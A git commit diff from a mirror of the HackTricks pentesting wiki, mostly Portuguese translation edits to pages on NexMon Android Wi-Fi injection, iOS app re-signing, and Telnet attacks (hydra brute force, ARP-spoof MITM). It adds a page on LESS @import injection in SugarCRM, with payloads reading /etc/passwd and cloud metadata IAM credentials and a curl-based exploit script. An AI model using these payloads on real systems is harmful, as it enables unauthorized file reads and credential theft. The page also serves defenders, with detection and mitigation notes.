mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena
This commit is contained in:
parent
a45b175e52
commit
0c1cb9c082
@ -544,6 +544,7 @@
|
|||||||
|
|
||||||
# 🕸️ Pentesting Web
|
# 🕸️ Pentesting Web
|
||||||
|
|
||||||
|
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
|
||||||
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||||
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||||
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||||
|
@ -3,7 +3,7 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Visão Geral
|
## Visão Geral
|
||||||
A maioria dos telefones Android modernos incorpora um chipset Wi-Fi Broadcom/Cypress que é enviado sem modo monitor 802.11 ou capacidades de injeção de quadros. O framework de código aberto NexMon modifica o firmware proprietário para adicionar esses recursos e os expõe através de uma biblioteca compartilhada (`libnexmon.so`) e um helper CLI (`nexutil`). Ao pré-carregar essa biblioteca no driver Wi-Fi padrão, um dispositivo com root pode capturar tráfego 802.11 bruto e injetar quadros arbitrários – eliminando a necessidade de um adaptador USB externo.
|
A maioria dos telefones Android modernos incorpora um chipset Wi-Fi Broadcom/Cypress que é enviado sem modo monitor 802.11 ou capacidades de injeção de quadros. O framework de código aberto NexMon modifica o firmware proprietário para adicionar esses recursos e os expõe através de uma biblioteca compartilhada (`libnexmon.so`) e um helper CLI (`nexutil`). Ao pré-carregar essa biblioteca no driver Wi-Fi padrão, um dispositivo com root pode capturar tráfego bruto 802.11 e injetar quadros arbitrários – eliminando a necessidade de um adaptador USB externo.
|
||||||
|
|
||||||
Esta página documenta um fluxo de trabalho rápido que usa um Samsung Galaxy S10 totalmente corrigido (BCM4375B1) como exemplo, utilizando:
|
Esta página documenta um fluxo de trabalho rápido que usa um Samsung Galaxy S10 totalmente corrigido (BCM4375B1) como exemplo, utilizando:
|
||||||
|
|
||||||
@ -22,13 +22,13 @@ A mesma técnica se aplica a qualquer dispositivo que tenha um patch NexMon disp
|
|||||||
* ZIP Magisk NexMon ou patch auto-compilado fornecendo:
|
* ZIP Magisk NexMon ou patch auto-compilado fornecendo:
|
||||||
* `/system/lib*/libnexmon.so`
|
* `/system/lib*/libnexmon.so`
|
||||||
* `/system/xbin/nexutil`
|
* `/system/xbin/nexutil`
|
||||||
* Hijacker ≥ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker
|
* Hijacker ≥ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
|
||||||
* (Opcional) Kali NetHunter ou qualquer chroot Linux onde você pretende executar ferramentas sem fio
|
* (Opcional) Kali NetHunter ou qualquer chroot Linux onde você pretende executar ferramentas sem fio
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Flashing o patch NexMon (Magisk)
|
## Flashing o patch NexMon (Magisk)
|
||||||
1. Baixe o ZIP para o seu dispositivo/firmware exato (exemplo: `nexmon-s10.zip`).
|
1. Baixe o ZIP para seu dispositivo/firmware exato (exemplo: `nexmon-s10.zip`).
|
||||||
2. Abra o Magisk -> Módulos -> Instalar do armazenamento -> selecione o ZIP e reinicie.
|
2. Abra o Magisk -> Módulos -> Instalar do armazenamento -> selecione o ZIP e reinicie.
|
||||||
O módulo copia `libnexmon.so` para `/data/adb/modules/<module>/lib*/` e garante que os rótulos SELinux estejam corretos.
|
O módulo copia `libnexmon.so` para `/data/adb/modules/<module>/lib*/` e garante que os rótulos SELinux estejam corretos.
|
||||||
3. Verifique a instalação:
|
3. Verifique a instalação:
|
||||||
@ -104,9 +104,9 @@ Como o firmware já lida com a injeção de radiotap, as ferramentas de espaço
|
|||||||
## Ataques Típicos Possíveis
|
## Ataques Típicos Possíveis
|
||||||
Uma vez que monitor + TX está ativo, você pode:
|
Uma vez que monitor + TX está ativo, você pode:
|
||||||
* Capturar handshakes WPA(2/3-SAE) ou PMKID com `wifite`, `hcxdumptool`, `airodump-ng`.
|
* Capturar handshakes WPA(2/3-SAE) ou PMKID com `wifite`, `hcxdumptool`, `airodump-ng`.
|
||||||
* Injetar quadros de desautenticação / desassociação para forçar clientes a reconectar.
|
* Injetar quadros de desautenticação / desassociação para forçar os clientes a reconectar.
|
||||||
* Criar quadros de gerenciamento/dados arbitrários com `mdk4`, `aireplay-ng`, Scapy, etc.
|
* Criar quadros de gerenciamento/dados arbitrários com `mdk4`, `aireplay-ng`, Scapy, etc.
|
||||||
* Construir APs falsos ou realizar ataques KARMA/MANA diretamente do telefone.
|
* Construir APs maliciosos ou realizar ataques KARMA/MANA diretamente do telefone.
|
||||||
|
|
||||||
O desempenho no Galaxy S10 é comparável a NICs USB externos (~20 dBm TX, 2-3 M pps RX).
|
O desempenho no Galaxy S10 é comparável a NICs USB externos (~20 dBm TX, 2-3 M pps RX).
|
||||||
|
|
||||||
@ -114,7 +114,7 @@ O desempenho no Galaxy S10 é comparável a NICs USB externos (~20 dBm TX, 2-3 M
|
|||||||
|
|
||||||
## Solução de Problemas
|
## Solução de Problemas
|
||||||
* `Device or resource busy` – certifique-se de que o **serviço Wi-Fi do Android está desativado** (`svc wifi disable`) antes de ativar o modo monitor.
|
* `Device or resource busy` – certifique-se de que o **serviço Wi-Fi do Android está desativado** (`svc wifi disable`) antes de ativar o modo monitor.
|
||||||
* `nexutil: ioctl(PRIV_MAGIC) failed` – a biblioteca não está pré-carregada; verifique o caminho de `LD_PRELOAD`.
|
* `nexutil: ioctl(PRIV_MAGIC) failed` – a biblioteca não está pré-carregada; verifique novamente o caminho `LD_PRELOAD`.
|
||||||
* A injeção de quadros funciona, mas nenhum pacote capturado – alguns ROMs bloqueiam canais; tente `nexutil -c <channel>` ou `iwconfig wlan0 channel <n>`.
|
* A injeção de quadros funciona, mas nenhum pacote capturado – alguns ROMs bloqueiam canais; tente `nexutil -c <channel>` ou `iwconfig wlan0 channel <n>`.
|
||||||
* SELinux bloqueando a biblioteca – defina o dispositivo como *Permissivo* ou corrija o contexto do módulo: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
|
* SELinux bloqueando a biblioteca – defina o dispositivo como *Permissivo* ou corrija o contexto do módulo: `chcon u:object_r:system_lib_file:s0 libnexmon.so`.
|
||||||
|
|
||||||
|
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Main idea
|
## Ideia principal
|
||||||
|
|
||||||
Aplicativos assinados com a **entitlement `get_task_allow`** permitem que aplicativos de terceiros executem uma função chamada **`task_for_pid()`** com o ID do processo do aplicativo inicial como argumento para obter a porta da tarefa sobre ele (ser capaz de controlá-lo e acessar sua memória).
|
Aplicativos assinados com a **entitlement `get_task_allow`** permitem que aplicativos de terceiros executem uma função chamada **`task_for_pid()`** com o ID do processo do aplicativo inicial como argumento para obter a porta da tarefa sobre ele (ser capaz de controlá-lo e acessar sua memória).
|
||||||
|
|
||||||
@ -10,20 +10,20 @@ No entanto, não é tão fácil quanto apenas puxar o IPA, re-assiná-lo com a e
|
|||||||
|
|
||||||
Com um dispositivo antigo com jailbreak, é possível instalar o IPA, **descriptografá-lo usando sua ferramenta favorita** (como Iridium ou frida-ios-dump) e retirá-lo do dispositivo. Embora, se possível, é recomendável pedir ao cliente o IPA descriptografado.
|
Com um dispositivo antigo com jailbreak, é possível instalar o IPA, **descriptografá-lo usando sua ferramenta favorita** (como Iridium ou frida-ios-dump) e retirá-lo do dispositivo. Embora, se possível, é recomendável pedir ao cliente o IPA descriptografado.
|
||||||
|
|
||||||
## Obtain decrypted IPA
|
## Obter IPA descriptografado
|
||||||
|
|
||||||
### Get it from Apple
|
### Obtenha da Apple
|
||||||
|
|
||||||
1. Instale o aplicativo para pentest no iPhone
|
1. Instale o aplicativo para pentest no iPhone
|
||||||
2. Instale e inicie [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) no seu macos
|
2. Instale e inicie o [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) no seu macos
|
||||||
3. Abra o `Terminal` no seu Mac e cd para `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. O IPA aparecerá nesta pasta mais tarde.
|
3. Abra o `Terminal` no seu Mac e cd para `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. O IPA aparecerá nesta pasta mais tarde.
|
||||||
4. Você deve ver seu dispositivo iOS. Clique duas vezes nele e, em seguida, clique em Adicionar + → Apps na barra de menu superior.
|
4. Você deve ver seu dispositivo iOS. Clique duas vezes nele e, em seguida, clique em Adicionar + → Apps na barra de menu superior.
|
||||||
5. Após clicar em Adicionar, o Configurator fará o download do IPA da Apple e tentará enviá-lo para o seu dispositivo. Se você seguiu minha recomendação anterior e já instalou o IPA, um aviso pedindo para reinstalar o aplicativo aparecerá.
|
5. Após clicar em Adicionar, o Configurator fará o download do IPA da Apple e tentará enviá-lo para o seu dispositivo. Se você seguiu minha recomendação anterior e já instalou o IPA, um prompt pedindo para reinstalar o aplicativo aparecerá.
|
||||||
6. O IPA deve ser baixado dentro de `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, de onde você pode pegá-lo.
|
6. O IPA deve ser baixado dentro de `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, de onde você pode pegá-lo.
|
||||||
|
|
||||||
Verifique [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) para mais informações detalhadas sobre este processo.
|
Verifique [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) para mais informações detalhadas sobre esse processo.
|
||||||
|
|
||||||
### Decrypting the app
|
### Descriptografando o aplicativo
|
||||||
|
|
||||||
Para descriptografar o IPA, vamos instalá-lo. No entanto, se você tiver um iPhone antigo com jailbreak, potencialmente sua versão não será suportada pelo aplicativo, pois geralmente os aplicativos só suportam as versões mais recentes.
|
Para descriptografar o IPA, vamos instalá-lo. No entanto, se você tiver um iPhone antigo com jailbreak, potencialmente sua versão não será suportada pelo aplicativo, pois geralmente os aplicativos só suportam as versões mais recentes.
|
||||||
|
|
||||||
@ -49,7 +49,7 @@ Uma vez instalado, você pode usar o **Iridium tweak** do Cydia para obter o IPA
|
|||||||
|
|
||||||
### Patch de permissões & re-assinatura
|
### Patch de permissões & re-assinatura
|
||||||
|
|
||||||
Para re-assinar o aplicativo com a permissão `get-task-allow`, existem várias ferramentas disponíveis, como `app-signer`, `codesign` e `iResign`. O `app-signer` tem uma interface muito amigável que permite re-assinar facilmente um arquivo IPA, indicando o IPA a ser re-assinado, para **colocá-lo como `get-task-allow`** e o certificado e perfil de provisionamento a serem usados.
|
Para re-assinar o aplicativo com a permissão `get-task-allow`, existem várias ferramentas disponíveis, como `app-signer`, `codesign` e `iResign`. O `app-signer` tem uma interface muito amigável que permite re-assinar um arquivo IPA de forma muito fácil, indicando o IPA a ser re-assinado, para **colocá-lo como `get-task-allow`** e o certificado e perfil de provisionamento a serem usados.
|
||||||
|
|
||||||
Quanto ao certificado e perfis de assinatura, a Apple oferece **perfis de assinatura de desenvolvedor gratuitos** para todas as contas através do Xcode. Basta criar um aplicativo e configurar um. Em seguida, configure o **iPhone para confiar nos aplicativos do desenvolvedor** navegando até `Settings` → `Privacy & Security`, e clique em `Developer Mode`.
|
Quanto ao certificado e perfis de assinatura, a Apple oferece **perfis de assinatura de desenvolvedor gratuitos** para todas as contas através do Xcode. Basta criar um aplicativo e configurar um. Em seguida, configure o **iPhone para confiar nos aplicativos do desenvolvedor** navegando até `Settings` → `Privacy & Security`, e clique em `Developer Mode`.
|
||||||
|
|
||||||
@ -61,22 +61,22 @@ ideviceinstaller -i resigned.ipa -w
|
|||||||
|
|
||||||
### Ativar Modo Desenvolvedor (iOS 16+)
|
### Ativar Modo Desenvolvedor (iOS 16+)
|
||||||
|
|
||||||
Desde o iOS 16, a Apple introduziu o **Modo Desenvolvedor**: qualquer binário que contenha `get_task_allow` *ou* que seja assinado com um certificado de desenvolvimento se recusará a iniciar até que o Modo Desenvolvedor esteja ativado no dispositivo. Você também não poderá anexar Frida/LLDB a menos que essa opção esteja ativada.
|
Desde o iOS 16, a Apple introduziu o **Modo Desenvolvedor**: qualquer binário que carregue `get_task_allow` *ou* que seja assinado com um certificado de desenvolvimento se recusará a iniciar até que o Modo Desenvolvedor esteja ativado no dispositivo. Você também não poderá anexar Frida/LLDB a menos que essa flag esteja ativada.
|
||||||
|
|
||||||
1. Instale ou envie **qualquer** IPA assinada por desenvolvedor para o telefone.
|
1. Instale ou envie **qualquer** IPA assinada por desenvolvedor para o telefone.
|
||||||
2. Navegue até **Ajustes → Privacidade e Segurança → Modo Desenvolvedor** e ative-o.
|
2. Navegue até **Ajustes → Privacidade e Segurança → Modo Desenvolvedor** e ative-o.
|
||||||
3. O dispositivo será reiniciado; após inserir o código de acesso, você será solicitado a **Ativar** o Modo Desenvolvedor.
|
3. O dispositivo será reiniciado; após inserir o código de acesso, você será solicitado a **Ativar** o Modo Desenvolvedor.
|
||||||
|
|
||||||
O Modo Desenvolvedor permanece ativo até que você o desative ou limpe o telefone, então esta etapa precisa ser realizada apenas uma vez por dispositivo. [Documentação da Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explica as implicações de segurança.
|
O Modo Desenvolvedor permanece ativo até que você o desative ou limpe o telefone, então este passo só precisa ser realizado uma vez por dispositivo. [A documentação da Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) explica as implicações de segurança.
|
||||||
|
|
||||||
### Opções modernas de sideloading
|
### Opções modernas de sideloading
|
||||||
|
|
||||||
Agora existem várias maneiras maduras de fazer sideload e manter IPAs re-assinados atualizados sem jailbreak:
|
Agora existem várias maneiras maduras de sideload e manter IPAs re-assinadas atualizadas sem jailbreak:
|
||||||
|
|
||||||
| Ferramenta | Requisitos | Forças | Limitações |
|
| Ferramenta | Requisitos | Forças | Limitações |
|
||||||
|------------|------------|--------|------------|
|
|------------|------------|--------|------------|
|
||||||
| **AltStore 2 / SideStore** | Companheiro macOS/Windows/Linux que re-assina a IPA a cada 7 dias com um perfil de desenvolvedor gratuito | Recarga automática via Wi-Fi, funciona até iOS 17 | Necessita de computador na mesma rede, limite de 3 aplicativos imposto pela Apple |
|
| **AltStore 2 / SideStore** | Companheiro macOS/Windows/Linux que re-assina a IPA a cada 7 dias com um perfil de desenvolvedor gratuito | Recarga automática via Wi-Fi, funciona até iOS 17 | Necessita de computador na mesma rede, limite de 3 aplicativos imposto pela Apple |
|
||||||
| **TrollStore 1/2** | Dispositivo com iOS 14 – 15.4.1 vulnerável ao bug do CoreTrust | Assinatura *permanente* (sem limite de 7 dias); nenhum computador necessário uma vez instalado | Não suportado no iOS 15.5+ (bug corrigido) |
|
| **TrollStore 1/2** | Dispositivo em iOS 14 – 15.4.1 vulnerável ao bug do CoreTrust | Assinatura *permanente* (sem limite de 7 dias); nenhum computador necessário uma vez instalado | Não suportado em iOS 15.5+ (bug corrigido) |
|
||||||
|
|
||||||
Para pentests rotineiros em versões atuais do iOS, Alt/Side-Store geralmente são a escolha mais prática.
|
Para pentests rotineiros em versões atuais do iOS, Alt/Side-Store geralmente são a escolha mais prática.
|
||||||
|
|
||||||
@ -94,7 +94,7 @@ Recentes lançamentos do Frida (>=16) lidam automaticamente com a autenticação
|
|||||||
|
|
||||||
### Análise dinâmica automatizada com MobSF (sem jailbreak)
|
### Análise dinâmica automatizada com MobSF (sem jailbreak)
|
||||||
|
|
||||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) pode instrumentar um IPA assinado por desenvolvedor em um dispositivo real usando a mesma técnica (`get_task_allow`) e fornece uma interface web com navegador de sistema de arquivos, captura de tráfego e console do Frida【†L2-L3】. A maneira mais rápida é executar o MobSF no Docker e, em seguida, conectar seu iPhone via USB:
|
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) pode instrumentar um IPA assinado por desenvolvedor em um dispositivo real usando a mesma técnica (`get_task_allow`) e fornece uma interface web com navegador de sistema de arquivos, captura de tráfego e console do Frida【】. A maneira mais rápida é executar o MobSF no Docker e, em seguida, conectar seu iPhone via USB:
|
||||||
```bash
|
```bash
|
||||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||||
docker run -p 8000:8000 --privileged \
|
docker run -p 8000:8000 --privileged \
|
||||||
@ -104,7 +104,7 @@ opensecurity/mobile-security-framework-mobsf:latest
|
|||||||
```
|
```
|
||||||
MobSF irá implantar automaticamente o binário, habilitar um servidor Frida dentro do sandbox do aplicativo e gerar um relatório interativo.
|
MobSF irá implantar automaticamente o binário, habilitar um servidor Frida dentro do sandbox do aplicativo e gerar um relatório interativo.
|
||||||
|
|
||||||
### iOS 17 & Modo de Bloqueio advertências
|
### iOS 17 & Modo de Bloqueio considerações
|
||||||
|
|
||||||
* **Modo de Bloqueio** (Configurações → Privacidade & Segurança) bloqueia o vinculador dinâmico de carregar bibliotecas dinâmicas não assinadas ou assinadas externamente. Ao testar dispositivos que podem ter este modo habilitado, certifique-se de que está **desativado** ou suas sessões Frida/objection serão encerradas imediatamente.
|
* **Modo de Bloqueio** (Configurações → Privacidade & Segurança) bloqueia o vinculador dinâmico de carregar bibliotecas dinâmicas não assinadas ou assinadas externamente. Ao testar dispositivos que podem ter este modo habilitado, certifique-se de que está **desativado** ou suas sessões Frida/objection serão encerradas imediatamente.
|
||||||
* A Autenticação de Ponteiros (PAC) é aplicada em todo o sistema em dispositivos A12+. Frida ≥16 lida com a remoção de PAC de forma transparente — apenas mantenha tanto *frida-server* quanto a ferramenta Python/CLI atualizados quando uma nova versão principal do iOS for lançada.
|
* A Autenticação de Ponteiros (PAC) é aplicada em todo o sistema em dispositivos A12+. Frida ≥16 lida com a remoção de PAC de forma transparente — apenas mantenha tanto *frida-server* quanto a ferramenta Python/CLI atualizados quando uma nova versão principal do iOS for lançada.
|
||||||
|
@ -70,10 +70,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||||||
### Vulnerabilidades Recentes (2022-2025)
|
### Vulnerabilidades Recentes (2022-2025)
|
||||||
|
|
||||||
* **CVE-2024-45698 – Roteadores D-Link Wi-Fi 6 (DIR-X4860)**: O serviço Telnet embutido aceitava credenciais codificadas e falhou em sanitizar a entrada, permitindo RCE remota não autenticada como root via comandos manipulados na porta 23. Corrigido no firmware ≥ 1.04B05.
|
* **CVE-2024-45698 – Roteadores D-Link Wi-Fi 6 (DIR-X4860)**: O serviço Telnet embutido aceitava credenciais codificadas e falhou em sanitizar a entrada, permitindo RCE remota não autenticada como root via comandos manipulados na porta 23. Corrigido no firmware ≥ 1.04B05.
|
||||||
* **CVE-2023-40478 – NETGEAR RAX30**: Um estouro de buffer baseado em pilha no comando `passwd` da CLI Telnet permite que um atacante adjacente contorne a autenticação e execute código arbitrário como root.
|
* **CVE-2023-40478 – NETGEAR RAX30**: Um estouro de buffer baseado em pilha no comando `passwd` do Telnet CLI permite que um atacante adjacente contorne a autenticação e execute código arbitrário como root.
|
||||||
* **CVE-2022-39028 – GNU inetutils telnetd**: Uma sequência de dois bytes (`0xff 0xf7` / `0xff 0xf8`) aciona uma desreferência de ponteiro NULL que pode travar o `telnetd`, resultando em um DoS persistente após várias falhas.
|
* **CVE-2022-39028 – GNU inetutils telnetd**: Uma sequência de dois bytes (`0xff 0xf7` / `0xff 0xf8`) aciona uma desreferência de ponteiro NULL que pode travar o `telnetd`, resultando em um DoS persistente após várias falhas.
|
||||||
|
|
||||||
Mantenha esses CVEs em mente durante a triagem de vulnerabilidades—se o alvo estiver executando um firmware não corrigido ou um daemon Telnet inetutils legado, você pode ter um caminho direto para execução de código ou um DoS disruptivo.
|
Mantenha esses CVEs em mente durante a triagem de vulnerabilidades—se o alvo estiver executando um firmware não corrigido ou um daemon Telnet inetutils legado, você pode ter um caminho direto para a execução de código ou um DoS disruptivo.
|
||||||
|
|
||||||
### Capturando Credenciais & Man-in-the-Middle
|
### Capturando Credenciais & Man-in-the-Middle
|
||||||
|
|
||||||
@ -87,7 +87,7 @@ tcp.port == 23 && (telnet.data || telnet.option)
|
|||||||
```
|
```
|
||||||
Para MITM ativo, combine o ARP spoofing (por exemplo, `arpspoof`/`ettercap`) com os mesmos filtros de sniffing para coletar senhas em redes comutadas.
|
Para MITM ativo, combine o ARP spoofing (por exemplo, `arpspoof`/`ettercap`) com os mesmos filtros de sniffing para coletar senhas em redes comutadas.
|
||||||
|
|
||||||
### Força bruta automatizada / Pulverização de senhas
|
### Força bruta automatizada / Spraying de senhas
|
||||||
```bash
|
```bash
|
||||||
# Hydra (stop at first valid login)
|
# Hydra (stop at first valid login)
|
||||||
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
|
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
|
||||||
@ -109,7 +109,7 @@ O Metasploit possui vários módulos úteis:
|
|||||||
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` – RCE contra Telnet vulnerável do Solaris 9/10 (manipulação da opção ENCRYPT).
|
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` – RCE contra Telnet vulnerável do Solaris 9/10 (manipulação da opção ENCRYPT).
|
||||||
* `exploit/linux/mips/netgear_telnetenable` – habilita o serviço telnet com um pacote elaborado em muitos roteadores NETGEAR.
|
* `exploit/linux/mips/netgear_telnetenable` – habilita o serviço telnet com um pacote elaborado em muitos roteadores NETGEAR.
|
||||||
|
|
||||||
Depois que um shell é obtido, lembre-se de que **TTYs geralmente são simples**; faça upgrade com `python -c 'import pty;pty.spawn("/bin/bash")'` ou use os [truques TTY do HackTricks](/generic-hacking/reverse-shells/full-ttys.md).
|
Após obter um shell, lembre-se que **TTYs geralmente são simples**; faça upgrade com `python -c 'import pty;pty.spawn("/bin/bash")'` ou use os [tricks TTY do HackTricks](/generic-hacking/reverse-shells/full-ttys.md).
|
||||||
|
|
||||||
### Fortalecimento & Detecção (canto da equipe azul)
|
### Fortalecimento & Detecção (canto da equipe azul)
|
||||||
|
|
||||||
@ -123,4 +123,4 @@ Depois que um shell é obtido, lembre-se de que **TTYs geralmente são simples**
|
|||||||
* D-Link Advisory – CVE-2024-45698 RCE crítica do Telnet.
|
* D-Link Advisory – CVE-2024-45698 RCE crítica do Telnet.
|
||||||
* NVD – CVE-2022-39028 inetutils `telnetd` DoS.
|
* NVD – CVE-2022-39028 inetutils `telnetd` DoS.
|
||||||
|
|
||||||
{{#include /banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
@ -0,0 +1,75 @@
|
|||||||
|
# LESS Code Injection leading to SSRF & Local File Read
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Visão Geral
|
||||||
|
|
||||||
|
LESS é um pré-processador CSS popular que adiciona variáveis, mixins, funções e a poderosa diretiva `@import`. Durante a compilação, o mecanismo LESS irá **buscar os recursos referenciados nas declarações `@import`** e embutir ("inline") seus conteúdos no CSS resultante quando a opção `(inline)` é usada.
|
||||||
|
|
||||||
|
Quando uma aplicação concatena **entrada controlada pelo usuário** em uma string que é posteriormente analisada pelo compilador LESS, um atacante pode **injetar código LESS arbitrário**. Ao abusar de `@import (inline)`, o atacante pode forçar o servidor a recuperar:
|
||||||
|
|
||||||
|
* Arquivos locais via o protocolo `file://` (divulgação de informações / Inclusão de Arquivos Locais).
|
||||||
|
* Recursos remotos em redes internas ou serviços de metadados em nuvem (SSRF).
|
||||||
|
|
||||||
|
Essa técnica foi vista em produtos do mundo real, como **SugarCRM ≤ 14.0.0** (endpoint `/rest/v10/css/preview`).
|
||||||
|
|
||||||
|
## Exploração
|
||||||
|
|
||||||
|
1. Identifique um parâmetro que está diretamente embutido dentro de uma string de folha de estilo processada pelo mecanismo LESS (por exemplo, `?lm=` no SugarCRM).
|
||||||
|
2. Feche a declaração atual e injetar novas diretivas. Os primitivos mais comuns são:
|
||||||
|
* `;` – termina a declaração anterior.
|
||||||
|
* `}` – fecha o bloco anterior (se necessário).
|
||||||
|
3. Use `@import (inline) '<URL>';` para ler recursos arbitrários.
|
||||||
|
4. Opcionalmente, injetar um **marcador** (`data:` URI) após a importação para facilitar a extração do conteúdo buscado do CSS compilado.
|
||||||
|
|
||||||
|
### Leitura de Arquivos Locais
|
||||||
|
```
|
||||||
|
1; @import (inline) 'file:///etc/passwd';
|
||||||
|
@import (inline) 'data:text/plain,@@END@@'; //
|
||||||
|
```
|
||||||
|
O conteúdo de `/etc/passwd` aparecerá na resposta HTTP logo antes do marcador `@@END@@`.
|
||||||
|
|
||||||
|
### SSRF – Metadados da Nuvem
|
||||||
|
```
|
||||||
|
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||||||
|
@import (inline) 'data:text/plain,@@END@@'; //
|
||||||
|
```
|
||||||
|
### PoC Automatizado (exemplo SugarCRM)
|
||||||
|
```bash
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
|
||||||
|
|
||||||
|
TARGET="$1" # Base URL of SugarCRM instance
|
||||||
|
RESOURCE="$2" # file:// path or URL to fetch
|
||||||
|
|
||||||
|
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
|
||||||
|
|
||||||
|
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|
||||||
|
sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||||||
|
```
|
||||||
|
## Detecção
|
||||||
|
|
||||||
|
* Procure por respostas `.less` ou `.css` geradas dinamicamente contendo parâmetros de consulta não sanitizados.
|
||||||
|
* Durante a revisão de código, busque construções como `"@media all { .preview { ... ${userInput} ... } }"` passadas para funções de renderização LESS.
|
||||||
|
* Tentativas de exploração frequentemente incluem `@import`, `(inline)`, `file://`, `http://169.254.169.254`, etc.
|
||||||
|
|
||||||
|
## Mitigações
|
||||||
|
|
||||||
|
* Não passe dados não confiáveis para o compilador LESS.
|
||||||
|
* Se valores dinâmicos forem necessários, escape/sanitize-os adequadamente (por exemplo, restrinja a tokens numéricos, listas brancas).
|
||||||
|
* Desative, quando possível, a capacidade de usar imports `(inline)`, ou limite os protocolos permitidos a `https`.
|
||||||
|
* Mantenha as dependências atualizadas – SugarCRM corrigiu esse problema nas versões 13.0.4 e 14.0.1.
|
||||||
|
|
||||||
|
## Casos do Mundo Real
|
||||||
|
|
||||||
|
| Produto | Endpoint Vulnerável | Impacto |
|
||||||
|
|---------|---------------------|---------|
|
||||||
|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | SSRF não autenticado & leitura de arquivo local |
|
||||||
|
|
||||||
|
## Referências
|
||||||
|
|
||||||
|
* [SugarCRM ≤ 14.0.0 (css/preview) Vulnerabilidade de Injeção de Código LESS](https://karmainsecurity.com/KIS-2025-04)
|
||||||
|
* [Aviso de Segurança do SugarCRM SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
|
||||||
|
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
@ -4,4 +4,10 @@
|
|||||||
|
|
||||||
Verifique **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
Verifique **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||||
|
|
||||||
|
- SugarCRM ≤ 14.0.0 – Injeção de LESS `@import` em `/rest/v10/css/preview` permite SSRF não autenticado e leitura de arquivos locais.
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../less-code-injection-ssrf.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user